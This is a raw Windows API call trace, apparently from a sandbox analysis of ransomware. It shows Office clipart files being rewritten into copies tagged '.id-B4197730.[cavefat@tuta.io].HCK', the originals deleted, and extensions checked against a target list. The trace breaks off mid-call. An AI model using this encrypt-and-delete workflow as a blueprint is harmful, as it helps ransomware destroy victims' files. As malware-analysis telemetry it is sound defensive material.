GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf")) returned 0x220 [0167.340] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0167.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0167.368] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.368] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0167.383] GetLastError () returned 0x0 [0167.383] ReadFile (in: hFile=0x330, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0xbcfc, lpOverlapped=0x0) returned 1 [0167.385] WriteFile (in: hFile=0x2f4, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xbd00, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xbd00, lpOverlapped=0x0) returned 1 [0167.387] ReadFile (in: hFile=0x330, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0167.387] WriteFile (in: hFile=0x2f4, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0167.387] SetEndOfFile (hFile=0x2f4) returned 1 [0167.394] CloseHandle (hObject=0x2f4) returned 1 [0167.398] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.398] SetEndOfFile (hFile=0x330) returned 1 [0167.434] CloseHandle (hObject=0x330) returned 1 [0167.442] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0167.442] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf")) returned 1 [0167.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0167.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0167.448] lstrlenW (lpString=".doc") returned 4 [0167.448] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.448] lstrlenW (lpString=".docx") returned 5 [0167.448] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0167.448] lstrlenW (lpString=".pdf") returned 4 [0167.448] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.448] lstrlenW (lpString=".xls") returned 4 [0167.448] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.448] lstrlenW (lpString=".xlsx") returned 5 [0167.448] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0167.448] lstrlenW (lpString=".ppt") returned 4 [0167.448] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0167.448] lstrlenW (lpString=".zip") returned 4 [0167.448] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.448] lstrlenW (lpString=".rar") returned 4 [0167.448] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.448] lstrlenW (lpString=".bz2") returned 4 [0167.448] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.448] lstrlenW (lpString=".7z") returned 3 [0167.448] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0167.448] lstrlenW (lpString=".dbf") returned 4 [0167.448] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0167.448] lstrlenW (lpString=".1cd") returned 4 [0167.448] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0167.448] lstrlenW (lpString=".jpg") returned 4 [0167.448] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0167.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0167.449] lstrlenW (lpString=".doc") returned 4 [0167.449] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.449] lstrlenW (lpString=".docx") returned 5 [0167.449] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0167.449] lstrlenW (lpString=".pdf") returned 4 [0167.449] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.449] lstrlenW (lpString=".xls") returned 4 [0167.449] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.449] lstrlenW (lpString=".xlsx") returned 5 [0167.449] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0167.449] lstrlenW (lpString=".ppt") returned 4 [0167.449] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0167.449] lstrlenW (lpString=".zip") returned 4 [0167.449] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.449] lstrlenW (lpString=".rar") returned 4 [0167.449] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.449] lstrlenW (lpString=".bz2") returned 4 [0167.449] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.449] lstrlenW (lpString=".7z") returned 3 [0167.449] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0167.449] lstrlenW (lpString=".dbf") returned 4 [0167.449] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0167.449] lstrlenW (lpString=".1cd") returned 4 [0167.449] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0167.449] lstrlenW (lpString=".jpg") returned 4 [0167.449] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.449] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0167.449] lstrlenW (lpString="J0107148.WMF") returned 12 [0167.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0167.470] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=20136) returned 1 [0167.470] CloseHandle (hObject=0x370) returned 1 [0167.470] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf")) returned 0x220 [0167.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0167.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0167.484] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.484] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0167.502] GetLastError () returned 0x0 [0167.502] ReadFile (in: hFile=0x364, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x4ea8, lpOverlapped=0x0) returned 1 [0167.507] WriteFile (in: hFile=0x378, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x4eb0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x4eb0, lpOverlapped=0x0) returned 1 [0167.508] ReadFile (in: hFile=0x364, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0167.508] WriteFile (in: hFile=0x378, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0167.508] SetEndOfFile (hFile=0x378) returned 1 [0167.511] CloseHandle (hObject=0x378) returned 1 [0167.514] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.514] SetEndOfFile (hFile=0x364) returned 1 [0167.524] CloseHandle (hObject=0x364) returned 1 [0167.526] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0167.526] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf")) returned 1 [0167.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0167.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0167.532] lstrlenW (lpString=".doc") returned 4 [0167.532] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.532] lstrlenW (lpString=".docx") returned 5 [0167.532] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0167.532] lstrlenW (lpString=".pdf") returned 4 [0167.532] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.532] lstrlenW (lpString=".xls") returned 4 [0167.532] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.532] lstrlenW (lpString=".xlsx") returned 5 [0167.532] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0167.532] lstrlenW (lpString=".ppt") returned 4 [0167.532] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0167.532] lstrlenW (lpString=".zip") returned 4 [0167.532] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.532] lstrlenW (lpString=".rar") returned 4 [0167.532] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.532] lstrlenW (lpString=".bz2") returned 4 [0167.532] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.532] lstrlenW (lpString=".7z") returned 3 [0167.532] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0167.532] lstrlenW (lpString=".dbf") returned 4 [0167.532] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0167.532] lstrlenW (lpString=".1cd") returned 4 [0167.532] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0167.532] lstrlenW (lpString=".jpg") returned 4 [0167.532] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0167.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0167.532] lstrlenW (lpString=".doc") returned 4 [0167.532] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.532] lstrlenW (lpString=".docx") returned 5 [0167.532] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0167.532] lstrlenW (lpString=".pdf") returned 4 [0167.532] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.532] lstrlenW (lpString=".xls") returned 4 [0167.532] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.532] lstrlenW (lpString=".xlsx") returned 5 [0167.532] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0167.532] lstrlenW (lpString=".ppt") returned 4 [0167.532] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0167.532] lstrlenW (lpString=".zip") returned 4 [0167.532] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.532] lstrlenW (lpString=".rar") returned 4 [0167.532] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.533] lstrlenW (lpString=".bz2") returned 4 [0167.533] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.533] lstrlenW (lpString=".7z") returned 3 [0167.533] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0167.533] lstrlenW (lpString=".dbf") returned 4 [0167.533] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0167.533] lstrlenW (lpString=".1cd") returned 4 [0167.533] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0167.533] lstrlenW (lpString=".jpg") returned 4 [0167.533] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.533] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0167.533] lstrlenW (lpString="J0107158.WMF") returned 12 [0167.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107158.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0167.546] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=24908) returned 1 [0167.546] CloseHandle (hObject=0x360) returned 1 [0167.546] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107158.wmf")) returned 0x220 [0167.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107158.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0167.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107158.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0167.572] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.572] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107158.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0167.578] GetLastError () returned 0x0 [0167.578] ReadFile (in: hFile=0x360, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x614c, lpOverlapped=0x0) returned 1 [0167.582] WriteFile (in: hFile=0x2ec, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x6150, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x6150, lpOverlapped=0x0) returned 1 [0167.583] ReadFile (in: hFile=0x360, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0167.583] WriteFile (in: hFile=0x2ec, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0167.583] SetEndOfFile (hFile=0x2ec) returned 1 [0167.586] CloseHandle (hObject=0x2ec) returned 1 [0167.589] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.589] SetEndOfFile (hFile=0x360) returned 1 [0167.594] CloseHandle (hObject=0x360) returned 1 [0167.596] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0167.596] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107158.wmf")) returned 1 [0167.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0167.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0167.604] lstrlenW (lpString=".doc") returned 4 [0167.604] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.605] lstrlenW (lpString=".docx") returned 5 [0167.605] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0167.605] lstrlenW (lpString=".pdf") returned 4 [0167.605] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.605] lstrlenW (lpString=".xls") returned 4 [0167.605] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.605] lstrlenW (lpString=".xlsx") returned 5 [0167.605] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0167.605] lstrlenW (lpString=".ppt") returned 4 [0167.605] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0167.605] lstrlenW (lpString=".zip") returned 4 [0167.605] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.605] lstrlenW (lpString=".rar") returned 4 [0167.605] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.605] lstrlenW (lpString=".bz2") returned 4 [0167.605] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.605] lstrlenW (lpString=".7z") returned 3 [0167.605] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0167.605] lstrlenW (lpString=".dbf") returned 4 [0167.605] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0167.605] lstrlenW (lpString=".1cd") returned 4 [0167.605] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0167.605] lstrlenW (lpString=".jpg") returned 4 [0167.605] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0167.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0167.605] lstrlenW (lpString=".doc") returned 4 [0167.605] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.605] lstrlenW (lpString=".docx") returned 5 [0167.605] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0167.605] lstrlenW (lpString=".pdf") returned 4 [0167.605] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.605] lstrlenW (lpString=".xls") returned 4 [0167.605] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.605] lstrlenW (lpString=".xlsx") returned 5 [0167.605] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0167.605] lstrlenW (lpString=".ppt") returned 4 [0167.605] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0167.606] lstrlenW (lpString=".zip") returned 4 [0167.606] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.606] lstrlenW (lpString=".rar") returned 4 [0167.606] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.606] lstrlenW (lpString=".bz2") returned 4 [0167.606] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.606] lstrlenW (lpString=".7z") returned 3 [0167.606] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0167.606] lstrlenW (lpString=".dbf") returned 4 [0167.606] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0167.606] lstrlenW (lpString=".1cd") returned 4 [0167.606] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0167.606] lstrlenW (lpString=".jpg") returned 4 [0167.606] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.606] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0167.606] lstrlenW (lpString="J0107254.WMF") returned 12 [0167.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107254.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0167.614] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=20212) returned 1 [0167.614] CloseHandle (hObject=0x2f4) returned 1 [0167.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107254.wmf")) returned 0x220 [0167.633] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107254.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0167.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 